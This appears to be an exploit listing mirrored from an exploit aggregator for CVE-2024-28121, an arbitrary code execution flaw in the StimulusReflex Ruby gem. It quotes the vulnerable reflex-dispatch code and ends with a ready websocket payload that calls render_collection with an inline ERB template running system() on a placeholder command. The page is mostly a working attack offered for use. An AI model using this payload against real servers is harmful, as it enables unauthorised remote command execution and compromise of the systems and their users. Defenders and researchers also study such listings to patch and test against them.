Share
## https://sploitus.com/exploit?id=PACKETSTORM:177595
StimulusReflex CVE-2024-28121  
  
Arbitrary code execution in StimulusReflex. This affects version 3.5.0 up to and including 3.5.0.rc2 and v3.5.0.pre10.  
  
## Vulnerable code excerpt  
  
stimulus_reflex/lib/stimulus_reflex/reflex.rb  
```  
# Invoke the reflex action specified by `name` and run all callbacks  
def process(name, *args)  
run_callbacks(:process) { public_send(name, *args) }  
end  
```  
  
stimulus_reflex/app/channels/stimulus_reflex/channel.rb  
```  
def delegate_call_to_reflex(reflex)  
method_name = reflex.method_name  
arguments = reflex.data.arguments  
method = reflex.method(method_name)  
  
policy = StimulusReflex::ReflexMethodInvocationPolicy.new(method, arguments)  
  
if policy.no_arguments?  
reflex.process(method_name)  
elsif policy.arguments?  
reflex.process(method_name, *arguments)  
else  
raise ArgumentError.new("wrong number of arguments (given #{arguments.inspect}, expected #{policy.required_params.inspect}, optional #{policy.optional_params.inspect})")  
end  
end  
```  
  
stimulus_reflex/lib/stimulus_reflex/policies/reflex_invocation_policy.rb  
```  
module StimulusReflex  
class ReflexMethodInvocationPolicy  
attr_reader :arguments, :required_params, :optional_params  
  
def initialize(method, arguments)  
@arguments = arguments  
@required_params = method.parameters.select { |(kind, _)| kind == :req }  
@optional_params = method.parameters.select { |(kind, _)| kind == :opt }  
end  
  
def no_arguments?  
arguments.size == 0 && required_params.size == 0  
end  
  
def arguments?  
arguments.size >= required_params.size && arguments.size <= required_params.size + optional_params.size  
end  
  
def unknown?  
return false if no_arguments?  
return false if arguments?  
  
true  
end  
end  
end  
```  
  
## Payload  
  
Find a websocket message with target and args.  
```  
\"target\":\"StimulusReflex::Reflex#render_collection\",\"args\":[{\"inline\": \"<% system('[command here]') %>\"}]  
```